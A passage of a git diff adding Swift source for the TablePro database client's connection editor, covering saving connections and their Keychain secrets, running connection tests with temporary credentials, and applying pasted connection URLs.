-> JumpHostField? { + guard let hop = draft.ssh.jumpHosts.first(where: { $0.id == id }) else { return nil } + if hop.host.isEmpty { return .host } + if hop.authMethod == .privateKey, hop.privateKeyPath.isEmpty { return .keyFile } + if let port = hop.port, !ConnectionEditorEngine.portRange.contains(port) { return .port } + return nil + } +} + +// Ported from the old Network pane with its wording; the ids are the plugins' host list fields. +enum TunnelHostListAdvice { + static func message(fieldId: String, hosts: String) -> String? { + switch fieldId { + case "redisSentinelHosts": + return String( + localized: "Sentinel mode cannot run through a tunnel. Set Connection Mode to Standalone and enter a data node, or turn the tunnel off." + ) + case "redisClusterHosts": + return String( + localized: "TablePro connects to the first node over a tunnel, as a single server. Keys on other nodes cannot be reached." + ) + default: + break + } + guard hosts.contains(",") else { return nil } + switch fieldId { + case "mongoHosts": + return String(localized: "TablePro connects to the first host over a tunnel. Replica set failover is not available.") + case "kafkaBootstrapServers": + return String(localized: "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read.") + default: + return String(localized: "TablePro connects to the first host over a tunnel. The other hosts are not used.") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift new file mode 100644 index 0000000000..5d331ca66e --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -0,0 +1,292 @@ +// +// ConnectionEditorStore+Save.swift +// TablePro +// + +import Combine +import Foundation +import os +import TableProConnectionLibrary +import TableProPluginKit +import TableProSyncTransport + +enum ConnectionEditorSaveError: Error, Equatable, LocalizedError { + case invalid(FieldIssue) + case libraryUnreadable + case recordMissing + case keychainWriteFailed + case recordWriteFailed + + var errorDescription: String? { + switch self { + case .invalid(let issue): + return issue.message + case .libraryUnreadable: + return String(localized: "TablePro could not read your saved connections, so it did not save over them.") + case .recordMissing: + return String(localized: "This connection was deleted on another device or window. Your changes were not saved.") + case .keychainWriteFailed: + return String(localized: "Could not save this connection's passwords to the Keychain. Your changes were not saved.") + case .recordWriteFailed: + return String(localized: "Could not save the connection. Check disk space and permissions, then try again.") + } + } +} + +extension ConnectionEditorStore { + // The window's default action: a new connection opens once stored, an edited one is only saved. + @discardableResult + func commit() -> Result { + save(connect: isNew) + } + + // Preflight, secrets, record, then deletes; a new id's secrets go again when its record write fails. + @discardableResult + func save(connect: Bool = false) -> Result { + revealAllIssues() + switch performSave() { + case .success(let saved): + saveError = nil + finishSave(saved.record, reviewed: saved.reviewed, connect: connect) + return .success(saved.record) + case .failure(let error): + saveError = error + if case .invalid(let issue) = error { + focus(on: issue) + } + return .failure(error) + } + } + + // `reviewed` is the record as this window showed it: the draft's edits over the record it loaded. + private func performSave() -> Result<(record: DatabaseConnection, reviewed: DatabaseConnection), ConnectionEditorSaveError> { + if let issue = firstBlockingIssue { + return .failure(.invalid(issue)) + } + guard !storage.isLibraryUnreadable else { return .failure(.libraryUnreadable) } + var connections = storage.loadConnections() + guard !storage.lastLoadFailed else { return .failure(.libraryUnreadable) } + + let existingIndex = connections.firstIndex { $0.id == connectionId } + if !isNew, existingIndex == nil { + return .failure(.recordMissing) + } + + let saving = ConnectionEditorEngine.normalized(draft, traits) + let edits = ConnectionEditorEngine.edits(saving, traits, originalTraits: originalTraits, context) + var record: DatabaseConnection + let reviewed: DatabaseConnection + var plan: SecretWritePlan + if let existingIndex { + let fresh = connections[existingIndex] + let merged = enforcingInvariants(edits.applied(to: fresh, since: baselineEdits)) + record = merged.record + if fresh.groupId != record.groupId { + record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) + } + reviewed = enforcingInvariants(edits.applied(to: loadedRecord ?? fresh, since: baselineEdits)).record + plan = ConnectionEditorEngine.secretPlan( + saving, traits, originalTraits: originalTraits, context, since: baseline, mergedInto: record + ) + settlePlaintextSecrets(merged.plaintextSecrets, plan: &plan, record: &record) + } else { + record = enforcingInvariants(edits.applied(to: DatabaseConnection(id: connectionId, name: ""))).record + record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) + reviewed = record + plan = ConnectionEditorEngine.secretPlan(saving, traits, originalTraits: originalTraits, context) + } + + let staged = storage.stagingSecretEdits( + for: connectionId, + deviceOnly: !record.participatesInSync, + keeping: unreadableSecretKeys, + unchanged: loadedSecrets + ) { + for write in plan.writes { + writeSecret(write.item, value: write.value, for: connectionId) + } + for item in plan.stagedDeletes { + deleteSecret(item, for: connectionId) + } + } + // The Keychain may hold this attempt's values now, whether or not the record saves. + loadedSecrets = [:] + guard !staged.writeFailed else { + if existingIndex == nil { + removeEverySecret(for: connectionId) + } + return .failure(.keychainWriteFailed) + } + + if let existingIndex { + connections[existingIndex] = record + } else { + connections.append(record) + } + guard storage.saveConnections(connections) else { + if existingIndex == nil { + removeEverySecret(for: connectionId) + } + return .failure(.recordWriteFailed) + } + + storage.applyStagedDeletions(staged) + for item in plan.deletesAfterRecord { + deleteSecret(item, for: connectionId) + } + return .success((record, reviewed)) + } + + // A record another writer retyped while the editor was open is held to its own type's rules. + func enforcingInvariants( + _ record: DatabaseConnection, + use: ConnectionRecordInvariants.Use = .save + ) -> ConnectionRecordInvariants.Outcome { + let recordTraits = record.type == traits.type + ? traits + : ConnectionTypeTraits.live(for: record.type, pluginManager: services.pluginManager) + return ConnectionRecordInvariants.enforce( + record, traits: recordTraits, originalTraits: originalTraits, context: context, use: use + ) + } + + // The migration's rule: a plain-text secret the editor did not set leaves the record once the Keychain holds the + // field, a stored item winning over the copy. One whose item cannot be read stays, as the migration leaves it. + private func settlePlaintextSecrets( + _ plaintext: [String: String], + plan: inout SecretWritePlan, + record: inout DatabaseConnection + ) { + for (fieldId, value) in plaintext.sorted(by: { $0.key < $1.key }) { + let item = SecretWritePlan.Item.pluginField(fieldId) + guard plan.disposition(of: item) == .untouched else { continue } + var stored: String? + let reads = storage.recordingSecretReads { + stored = storage.loadPluginSecureField(fieldId: fieldId, for: connectionId) + } + if !reads.unreadable.isEmpty { + record.additionalFields[fieldId] = value + } else if (stored ?? "").isEmpty { + plan.writes.append(SecretWritePlan.Write(item: item, value: value)) + } + } + } + + private func finishSave(_ record: DatabaseConnection, reviewed: DatabaseConnection, connect: Bool) { + approveSavedDefinition(record, reviewed: reviewed) + if !record.localOnly { + services.syncTracker.markDirty(.connection, id: record.id.uuidString) + } + baseline = draft + loadedRecord = record + baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + dirtyBaseline = dirtyFingerprint() + hasUnsavedChanges = false + isClosing = true + dismissAction?() + services.appEvents.connectionUpdated.send(record.id) + if connect { + connectAction(record) + } + } + + // A save is the person's word for what the form showed: a destination or reference another writer added while it + // was open still asks at connect. + private func approveSavedDefinition(_ connection: DatabaseConnection, reviewed: DatabaseConnection) { + LoadableExtensionApprovalStore.shared.approve(editedExtensions, for: connection.id) + for store in approvalStores { + store.approve(connection, asReviewed: reviewed) + } + } + + // Only an entry added or changed here was chosen on this Mac; an imported list keeps whatever approval it had. + var editedExtensions: [LoadableExtension] { + var edited: [LoadableExtension] = [] + for field in traits.fields where field.content == .loadableExtensions { + let current = (try? LoadableExtensionList.decode(draft.fieldValues[field.id])) ?? [] + let initial = Set((try? LoadableExtensionList.decode(baseline.fieldValues[field.id])) ?? []) + edited += current.filter { !initial.contains($0) } + } + return edited + } + + var removesSyncedSecretsOnSave: Bool { + draft.options.localOnly && context.participatesInSync + } + + // MARK: - Secret I/O + + func writeSecret(_ item: SecretWritePlan.Item, value: String, for id: UUID) { + switch item { + case .password: storage.savePassword(value, for: id) + case .sshPassword: storage.saveSSHPassword(value, for: id) + case .sshKeyPassphrase: storage.saveKeyPassphrase(value, for: id) + case .totpSecret: storage.saveTOTPSecret(value, for: id) + case .sslClientKeyPassphrase: storage.saveSSLClientKeyPassphrase(value, for: id) + case .cloudflareTokenId: storage.saveCloudflareTokenId(value, for: id) + case .cloudflareTokenSecret: storage.saveCloudflareTokenSecret(value, for: id) + case .cloudSQLServiceAccountKey: storage.saveCloudSQLProxyServiceAccountKey(value, for: id) + case .socksPassword: storage.saveSOCKSProxyPassword(value, for: id) + case .pluginField(let fieldId): storage.savePluginSecureField(value, fieldId: fieldId, for: id) + } + } + + func deleteSecret(_ item: SecretWritePlan.Item, for id: UUID) { + switch item { + case .password: storage.deletePassword(for: id) + case .sshPassword: storage.deleteSSHPassword(for: id) + case .sshKeyPassphrase: storage.deleteKeyPassphrase(for: id) + case .totpSecret: storage.deleteTOTPSecret(for: id) + case .sslClientKeyPassphrase: storage.deleteSSLClientKeyPassphrase(for: id) + case .cloudflareTokenId: storage.deleteCloudflareTokenId(for: id) + case .cloudflareTokenSecret: storage.deleteCloudflareTokenSecret(for: id) + case .cloudSQLServiceAccountKey: storage.deleteCloudSQLProxyServiceAccountKey(for: id) + case .socksPassword: storage.deleteSOCKSProxyPassword(for: id) + case .pluginField(let fieldId): storage.deletePluginSecureField(fieldId: fieldId, for: id) + } + } + + // Only for an id no record holds: a new connection whose save did not land. + private func removeEverySecret(for id: UUID) { + let fixed: [SecretWritePlan.Item] = [ + .password, .sshPassword, .sshKeyPassphrase, .totpSecret, .sslClientKeyPassphrase, + .cloudflareTokenId, .cloudflareTokenSecret, .cloudSQLServiceAccountKey, .socksPassword + ] + for item in fixed { + deleteSecret(item, for: id) + } + let fieldIds = ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) + storage.deleteAllPluginSecureFields(for: id, fieldIds: Array(fieldIds)) + } + + // MARK: - Connect + + static func connectToDatabase(_ connection: DatabaseConnection) { + Task { + do { + try await TabRouter.shared.route(.openConnection(connection.id)) + } catch { + Self.handleConnectError(error, connection: connection) + } + } + } + + static func handleConnectError(_ error: Error, connection: DatabaseConnection) { + if error is CancellationError { + logger.info("Connection attempt cancelled for \(connection.name, privacy: .private(mask: .hash))") + return + } + guard WindowManager.shared.hasOpenWindow(for: connection.id) else { + logger.info("Connection failed after window was closed: \(error.publicLogShape, privacy: .public)") + return + } + WindowManager.shared.closeWindow(for: connection.id) + if case PluginError.pluginNotInstalled = error { + logger.info("Plugin not installed for \(connection.type.rawValue, privacy: .public)") + WelcomeRouter.shared.routePluginInstall(connection) + return + } + logger.error("Failed to connect: \(error.publicLogShape, privacy: .public)") + WelcomeRouter.shared.routeError(error, for: connection) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift new file mode 100644 index 0000000000..ca2a3addd2 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -0,0 +1,431 @@ +// +// ConnectionEditorStore+Test.swift +// TablePro +// + +import AppKit +import Combine +import Foundation +import os +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +enum ConnectionTestState: Equatable { + case idle + case running + case succeeded(ConnectionTestSuccess) + case failed(ConnectionTestFailure) +} + +struct ConnectionTestSuccess: Equatable { + let typeName: String + let serverVersion: String? + let elapsedMilliseconds: Int + let warning: String? + + var summary: String { + if let serverVersion, !serverVersion.isEmpty { + return String( + format: String(localized: "Connected to %1$@ %2$@ in %3$lld ms"), + typeName, serverVersion, Int64(elapsedMilliseconds) + ) + } + return String(format: String(localized: "Connected to %1$@ in %2$lld ms"), typeName, Int64(elapsedMilliseconds)) + } +} + +enum ConnectionTestFailureStep: Equatable { + case tunnel(ConnectionTunnelKind) + case tls + case authentication + case network + case other + + var headline: String { + switch self { + case .tunnel(let kind): return String(format: String(localized: "%@ failed"), kind.displayName) + case .tls: return String(localized: "TLS handshake failed") + case .authentication: return String(localized: "Sign-in failed") + case .network: return String(localized: "Server not reachable") + case .other: return String(localized: "Connection failed") + } + } + + // What to check when the error itself offers nothing. + var suggestion: String? { + switch self { + case .tunnel: + return String(localized: "Check the settings in SSH & Proxies.") + case .tls: + return String(localized: "Check the SSL mode and certificates in SSL/TLS.") + case .authentication: + return String(localized: "Check the username and password.") + case .network: + return String(localized: "Check the host and port, and that the server is running and reachable from this Mac.") + case .other: + return nil + } + } +} + +struct ConnectionTestFailure: Equatable { + let step: ConnectionTestFailureStep + let message: String + let recoverySuggestion: String? + let recoveryAction: ConnectionRecoveryAction? + let testedConnection: DatabaseConnection? + + var summary: String { step.headline } + + var suggestion: String? { + if let recoverySuggestion, !recoverySuggestion.isEmpty { return recoverySuggestion } + return step.suggestion + } +} + +// What a test wrote under its throwaway id, so cleanup deletes exactly that whatever the type is by then. +struct TestSecretReceipt: Equatable { + let testId: UUID + var items: [SecretWritePlan.Item] = [] +} + +struct TestRun { + let id: UUID + let testId: UUID + let fingerprint: ConnectionEditorEngine.TestFingerprint + var task: Task? +} + +extension ConnectionEditorStore { + var isTesting: Bool { testState == .running } + + // The definition this window shows, under a throwaway id: the draft's edits over the record it loaded, never a + // fresh read. Test signs in without consent, so a host or sign-in another writer changed must not reach it. + func testRecord(testId: UUID) -> DatabaseConnection { + let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + let merged = loadedRecord.map { + edits.applied(to: ConnectionEditorEngine.record($0, reassignedTo: testId), since: baselineEdits) + } ?? edits.applied(to: DatabaseConnection(id: testId, name: "")) + return enforcingInvariants(merged, use: .test).record + } + + func test() { + revealAllIssues() + guard canTest else { return } + let runId = UUID() + let testId = UUID() + let record = testRecord(testId: testId) + // A linked profile owns the decision, so a profile set to ask every time asks here too. + let prompts = ConnectionCredentialResolver.promptsForPassword(record) + let password = draft.credentials.password + let receipt = persistTestSecrets(for: testId, prompts: prompts) + pendingTestReceipts[testId] = receipt + + let context = TestContext( + runId: runId, + record: record, + password: password, + prompts: prompts, + sshPassword: draft.usesSSHServer && draft.ssh.profileId == nil ? draft.ssh.password : nil, + displayName: effectiveName, + isAPIToken: traits.connectionMode == .apiOnly, + signInFields: draft.fieldValues, + typeName: traits.displayName + ) + testState = .running + var run = TestRun( + id: runId, + testId: testId, + fingerprint: ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, self.context) + ) + run.task = Task { [weak self] in + await self?.runTest(context) + } + testRun = run + } + + func cancelTest() { + testRun?.task?.cancel() + testRun = nil + if testState == .running { + testState = .idle + } + } + + // A result belongs to the settings it was earned on; any edit to those settings clears it. + func invalidateStaleTestResult() { + switch testState { + case .succeeded, .failed: + break + case .idle, .running: + return + } + guard let fingerprint = lastTestedFingerprint, + fingerprint != ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, context) + else { return } + testState = .idle + } + + struct TestContext { + let runId: UUID + let record: DatabaseConnection + let password: String + let prompts: Bool + let sshPassword: String? + let displayName: String + let isAPIToken: Bool + let signInFields: [String: String] + let typeName: String + } + + private func isCurrent(_ runId: UUID) -> Bool { + testRun?.id == runId + } + + private func runTest(_ context: TestContext) async { + let testId = context.record.id + guard await authorizeExtensionsForTest(testConnectionId: testId) else { + endRun(context, testId: testId, state: .idle) + return + } + var passwordOverride: String? + if context.prompts { + if context.password.isEmpty { + passwordOverride = await PasswordPromptHelper.prompt( + connectionName: context.displayName, + isAPIToken: context.isAPIToken, + window: window ?? NSApp.keyWindow + ) + } else { + passwordOverride = context.password + } + guard passwordOverride != nil else { + endRun(context, testId: testId, state: .idle) + return + } + } + + let clock = ContinuousClock() + let start = clock.now + do { + // No sign-in consent: the person is looking at the settings Test signs in with. + let result = try await services.databaseManager.testConnection( + context.record, + sshPassword: context.sshPassword, + passwordOverride: passwordOverride + ) + let elapsed = start.duration(to: clock.now) + let milliseconds = Int(elapsed.components.seconds * 1_000 + elapsed.components.attoseconds / 1_000_000_000_000_000) + if result.succeeded { + if let warning = result.warning { + AccessibilityAnnouncement.post(String(format: String(localized: "Connected with a warning. %@"), warning)) + } + endRun(context, testId: testId, state: .succeeded(ConnectionTestSuccess( + typeName: context.typeName, + serverVersion: result.serverVersion, + elapsedMilliseconds: milliseconds, + warning: result.warning + ))) + } else { + endRun(context, testId: testId, state: .failed(ConnectionTestFailure( + step: .other, + message: String(localized: "Connection test failed"), + recoverySuggestion: nil, + recoveryAction: nil, + testedConnection: context.record + ))) + } + } catch is CancellationError { + endRun(context, testId: testId, state: .idle) + } catch { + await routeTestFailure(error, context: context) + } + } + + // Cleanup always runs; the state lands only for the run still current, and only on the settings it tested. + private func endRun(_ context: TestContext, testId: UUID, state: ConnectionTestState) { + if let receipt = pendingTestReceipts[testId] { + cleanupTestSecrets(receipt) + } + guard isCurrent(context.runId), let run = testRun else { return } + testRun = nil + lastTestedFingerprint = run.fingerprint + let current = ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, self.context) + testState = run.fingerprint == current ? state : .idle + } + + // The existing routing: sign-in offer, plugin install, plugin diagnostic, then an inline failure naming its step. + private func routeTestFailure(_ error: Error, context: TestContext) async { + let testId = context.record.id + if let provider = ConnectionSignInRegistry.provider(for: error, fields: context.signInFields) { + endRun(context, testId: testId, state: .idle) + guard !isClosing else { return } + if await ConnectionSignInPrompt.offer(provider, for: error, fields: context.signInFields, window: window ?? NSApp.keyWindow) { + test() + } + return + } + if case PluginError.pluginNotInstalled = error { + endRun(context, testId: testId, state: .idle) + pluginInstallConnection = context.record + return + } + if let item = PluginDiagnosticItem.classify(error: error, connection: context.record, username: context.record.username) { + endRun(context, testId: testId, state: .idle) + pluginDiagnostic = item + return + } + endRun(context, testId: testId, state: .failed(Self.failure(for: error, connection: context.record))) + } + + static func failure(for error: Error, connection: DatabaseConnection) -> ConnectionTestFailure { + let step = failureStep(for: error, transport: connection.activeTunnelKind) + if let action = ConnectionFailureClassifier.recoveryAction(for: error), action != .editConnection { + let info = ConnectionFailureClassifier.info(for: error) + return ConnectionTestFailure( + step: step, + message: readable([info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n")), + recoverySuggestion: info.recoverySuggestion, + recoveryAction: action, + testedConnection: connection + ) + } + return ConnectionTestFailure( + step: step, + message: readable(SSLHandshakeError.formatted(error)), + recoverySuggestion: nil, + recoveryAction: nil, + testedConnection: connection + ) + } + + // Drivers indent continuation lines with tabs (libpq's "\tIs the server running…"), which a popover shows as gaps. + static func readable(_ message: String) -> String { + message + .split(separator: "\n", omittingEmptySubsequences: false) + .map { $0.trimmingCharacters(in: .whitespaces) } + .joined(separator: "\n") + .trimmingCharacters(in: .whitespacesAndNewlines) + } + + // Drivers report an unreachable server as their own error type, so the wording is all there is to go on. + private static let unreachablePhrases = [ + "could not translate host name", "nodename nor servname", "name or service not known", + "unknown mysql server host", "connection refused", "no route to host", "network is unreachable", + "host is down", "could not connect to server", "can't connect to", "connection timed out", + "operation timed out", "timeout expired", + ] + + static func failureStep(for error: Error, transport: ConnectionTunnelKind?) -> ConnectionTestFailureStep { + switch error { + case is SSHTunnelError: + return .tunnel(transport ?? .ssh) + case is CloudflareTunnelError: + return .tunnel(.cloudflare) + case is CloudSQLProxyError: + return .tunnel(.cloudSQLProxy) + case is SOCKSProxyError: + return .tunnel(.socksProxy) + case is TunnelCommandError: + return .tunnel(.tunnelCommand) + case is ConnectionTunnelError: + return .tunnel(transport ?? .ssh) + case is SSLHandshakeError, is SSLModeNotSupportedError: + return .tls + case is LocalNetworkAccessError, is ConnectionTimeoutError, is URLError: + return .network + default: + break + } + if ConnectionFailureClassifier.isAuthenticationFailure(error) { + return .authentication + } + let domain = (error as NSError).domain + if domain == NSPOSIXErrorDomain || domain == NSURLErrorDomain { + return .network + } + let message = error.localizedDescription.lowercased() + if unreachablePhrases.contains(where: { message.contains($0) }) { + return .network + } + return .other + } + + func performTestRecovery() { + guard case .failed(let failure) = testState, + let action = failure.recoveryAction, + let connection = failure.testedConnection + else { return } + ConnectionRecoveryPerformer.perform(action, for: connection) + } + + // Test loads extensions for real, so it clears the approval a connect does, lent to the throwaway id. + private func authorizeExtensionsForTest(testConnectionId: UUID) async -> Bool { + let approvals = LoadableExtensionApprovalStore.shared + let ownerId = isNew ? testConnectionId : connectionId + approvals.approve(editedExtensions, for: ownerId) + let owner = testRecord(testId: ownerId) + guard await LoadableExtensionPrompt.confirmIfNeeded(for: owner, approvals: approvals) else { return false } + if ownerId != testConnectionId { + approvals.copyApprovals(from: ownerId, to: testConnectionId) + } + return true + } + + // A test's copies never leave this Mac, whatever the password sync setting says. + private func persistTestSecrets(for testId: UUID, prompts: Bool) -> TestSecretReceipt { + var receipt = TestSecretReceipt(testId: testId) + func write(_ item: SecretWritePlan.Item, _ value: String) { + writeSecret(item, value: value, for: testId) + receipt.items.append(item) + } + let draft = ConnectionEditorEngine.normalized(self.draft, traits) + _ = storage.stagingSecretEdits(for: testId, deviceOnly: true) { + if !draft.credentials.password.isEmpty, !prompts { + write(.password, draft.credentials.password) + } + if draft.usesSSHServer, draft.ssh.profileId == nil { + let ssh = draft.ssh + if (ssh.authMethod == .password || ssh.authMethod == .keyboardInteractive) && !ssh.password.isEmpty { + write(.sshPassword, ssh.password) + } + if ssh.authMethod == .privateKey && !ssh.keyPassphrase.isEmpty { + write(.sshKeyPassphrase, ssh.keyPassphrase) + } + if ssh.totpMode == .autoGenerate && !ssh.totpSecret.isEmpty { + write(.totpSecret, ssh.totpSecret) + } + } + if !draft.ssl.clientKeyPassphrase.isEmpty, + !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + write(.sslClientKeyPassphrase, draft.ssl.clientKeyPassphrase) + } + if draft.transport == .cloudflare, draft.cloudflare.authMethod == .serviceToken { + write(.cloudflareTokenId, draft.cloudflare.serviceTokenId) + write(.cloudflareTokenSecret, draft.cloudflare.serviceTokenSecret) + } + if draft.transport == .cloudSQLProxy, draft.cloudSQLProxy.authMode == .serviceAccountKey, + draft.cloudSQLProxy.hasServiceAccountKey { + write(.cloudSQLServiceAccountKey, draft.cloudSQLProxy.serviceAccountKeyJSON) + } + if draft.transport == .socksProxy, !draft.socksProxy.password.isEmpty { + write(.socksPassword, draft.socksProxy.password) + } + for field in traits.fields where field.isSecure { + if let value = draft.fieldValues[field.id], !value.isEmpty { + write(.pluginField(field.id), value) + } + } + } + return receipt + } + + func cleanupTestSecrets(_ receipt: TestSecretReceipt) { + for item in receipt.items { + deleteSecret(item, for: receipt.testId) + } + LoadableExtensionApprovalStore.shared.revoke(for: [receipt.testId]) + pendingTestReceipts.removeValue(forKey: receipt.testId) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift new file mode 100644 index 0000000000..9847b19949 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift @@ -0,0 +1,152 @@ +// +// ConnectionEditorStore+URL.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary + +struct PastedURLNotice: Equatable, Identifiable { + let id = UUID() + let changes: [String] + var sourceText = "" + + var message: String { + guard !changes.isEmpty else { return String(localized: "The URL matches this connection.") } + let list = changes.formatted(.list(type: .and)) + return String(format: String(localized: "Filled from the URL: %@."), list) + } +} + +enum PastedURLOutcome: Equatable { + case notAURL + case applied(PastedURLNotice) + case needsRetypeConfirmation(RetypeProposal) +} + +extension ConnectionEditorStore { + static let pasteActionName = String(localized: "Paste Connection URL") + + // Only one change that turns text without a scheme into a whole URL counts; typing never gets there in one step. + static func pastedURL(replacing old: String, with new: String) -> String? { + let trimmed = new.trimmingCharacters(in: .whitespacesAndNewlines) + guard !old.contains("://"), trimmed.contains("://"), new.count - old.count > 1 else { return nil } + guard case .success = ConnectionURLParser.parse(trimmed) else { return nil } + return trimmed + } + + func setHost(_ text: String, undoManager: UndoManager?) { + let restoring = undoManager?.isUndoing == true || undoManager?.isRedoing == true + if !restoring, let url = Self.pastedURL(replacing: draft.host, with: text) { + // The field still shows the pasted URL and hands it back; applying it again would find nothing changed. + if pastedURLNotice?.sourceText == url || pendingPastedURL != nil { + objectWillChange.send() + return + } + if case .notAURL = applyPastedURL(url, undoManager: undoManager) { + update { $0.host = text } + } + return + } + update { $0.host = text } + } + + // Import from URL's mapping; a saved connection is never renamed, downgraded or given raw options, and a retype asks. + @discardableResult + func applyPastedURL(_ text: String, undoManager: UndoManager?) -> PastedURLOutcome { + if let undoManager { + self.undoManager = undoManager + } + guard case .success(let parsed) = ConnectionURLParser.parse(text.trimmingCharacters(in: .whitespacesAndNewlines)) else { + return .notAURL + } + let snapshot = draft + let source = text.trimmingCharacters(in: .whitespacesAndNewlines) + if parsed.type != draft.type { + let proposal = proposeRetype(to: parsed.type) + if !isNew, proposal.needsConfirmation { + pendingPastedURL = (parsed, snapshot) + pendingRetype = proposal + return .needsRetypeConfirmation(proposal) + } + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: parsed.type, sourceText: source)) + } + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: nil, sourceText: source)) + } + + @discardableResult + func applyPasted( + _ parsed: ParsedConnectionURL, + snapshot: ConnectionDraft, + retypeTo type: DatabaseType?, + sourceText: String = "" + ) -> PastedURLNotice { + isApplyingPaste = true + defer { isApplyingPaste = false } + if let type { + retype(to: type) + } + var next = draft + next.apply(parsed, traits: traits, policy: isNew ? .newConnection : .existingConnection, safeModeFloor: safeModeFloor) + commit(next) + let notice = PastedURLNotice( + changes: ConnectionDraft.changedValues(from: snapshot, to: draft, traits: traits), + sourceText: sourceText + ) + pastedURLSnapshot = snapshot + pastedURLNotice = notice + registerPasteUndo(restoring: snapshot) + return notice + } + + private func registerPasteUndo(restoring snapshot: ConnectionDraft) { + guard let undoManager else { return } + undoManager.registerUndo(withTarget: self) { store in + MainActor.assumeIsolated { store.restore(snapshot) } + } + undoManager.setActionName(Self.pasteActionName) + } + + // Restores the whole draft, password and type included, and registers the way back. + func restore(_ snapshot: ConnectionDraft) { + let current = draft + if snapshot.type != traits.type { + cancelTest() + traits = ConnectionTypeTraits.live(for: snapshot.type, pluginManager: services.pluginManager) + } + isApplyingPaste = true + commit(snapshot) + isApplyingPaste = false + dismissPastedURLNotice() + if let undoManager { + undoManager.registerUndo(withTarget: self) { store in + MainActor.assumeIsolated { store.restore(current) } + } + undoManager.setActionName(Self.pasteActionName) + } + } + + // The notice's Undo button: the snapshot, whatever the undo stack holds above it. + func undoPastedURL() { + guard let snapshot = pastedURLSnapshot else { return } + undoManager?.removeAllActions(withTarget: self) + restore(snapshot) + } + + func dismissPastedURLNotice() { + pastedURLNotice = nil + pastedURLSnapshot = nil + } + + // MARK: - Copy as URL + + // Built from the stripped edits, with no password of either kind. + func connectionURLForCopy() -> String { + var record = testRecord(testId: connectionId) + let secretIds = ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) + record.additionalFields = ConnectionSecretOptions.removingSecrets(from: record.additionalFields) + .filter { !secretIds.contains($0.key) } + return ConnectionURLFormatter.format(record, password: nil, sshPassword: nil, sshProfile: selectedSSHProfile) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift new file mode 100644 index 0000000000..45ea70ef6c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -0,0 +1,341 @@ +// +// ConnectionEditorStore.swift +// TablePro +// + +import AppKit +import Combine +import os +import SwiftUI +import TableProPluginKit +import TableProSSHConfig + +// The only state container of the connection editor. Views read and write the draft through it, never through each other. +@MainActor +final class ConnectionEditorStore: ObservableObject { + nonisolated static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionEditorStore") + + enum Request { + case edit(connectionId: UUID) + case new(type: DatabaseType?, parsedURL: ParsedConnectionURL?) + } + + enum BinaryDetection: Equatable { + case notChecked + case checking + case found(String) + case notFound + } + + enum SSHProfileSheet: Identifiable, Equatable { + case create + case edit(SSHProfile) + case saveCurrent(SSHProfile) + + var id: String { + switch self { + case .create: return "create" + case .edit(let profile): return "edit-\(profile.id.uuidString)" + case .saveCurrent: return "saveCurrent" + } + } + } + + // The id a new connection is saved under, fixed for the window so a retried Save never mints another. + let connectionId: UUID + let isNew: Bool + let services: AppServices + let recentConnections: RecentConnectionsStore + let listPreferences: ConnectionListPreferences + let cloudSQLProxyDownload: CloudSQLProxyDownload + let managedPolicy: any ManagedPolicyReading + let approvalStores: [ConnectionApprovalStore] + + // Written only through update(_:), the edit methods and the binding helpers, which keep everything below in step. + @Published var draft: ConnectionDraft + @Published var traits: ConnectionTypeTraits + @Published var context: EditorContext + @Published var layout: EditorLayout + @Published var issues: [FieldIssue] = [] + @Published var hasUnsavedChanges = false + @Published var selectedFacet: ConnectionFacet = .general + @Published var focusRequest: FocusRequest? + @Published private(set) var revealedRows: Set = [] + @Published private(set) var revealsAllIssues = false + + @Published var isRecordMissing = false + @Published var isLibraryUnreadable = false + + @Published var testState: ConnectionTestState = .idle + @Published var pluginInstallConnection: DatabaseConnection? + @Published var pluginDiagnostic: PluginDiagnosticItem? + + @Published var isChoosingType = false + @Published var pendingRetype: RetypeProposal? + @Published var sshProfileSheet: SSHProfileSheet? + // Made once per presentation: the sheet saves, retries and leases Test Source's user under this id. + @Published var credentialProfileToSave: CredentialProfile? + @Published var saveError: ConnectionEditorSaveError? + @Published var deleteError: ConnectionEditorDeleteError? + + @Published var cloudflaredDetection: BinaryDetection = .notChecked + @Published var cloudSQLProxyDetection: BinaryDetection = .notChecked + @Published var cloudSQLProxyDownloadPhase: CloudSQLProxyDownload.Phase = .idle + @Published var cloudflareSignInError: String? + @Published var isCloudflareSignInRunning = false + @Published var pgpassStatus: PgpassStatus = .notChecked + @Published var pastedURLNotice: PastedURLNotice? + + // Fixed at load: the merge's base. A connectionUpdated event never moves it; only the 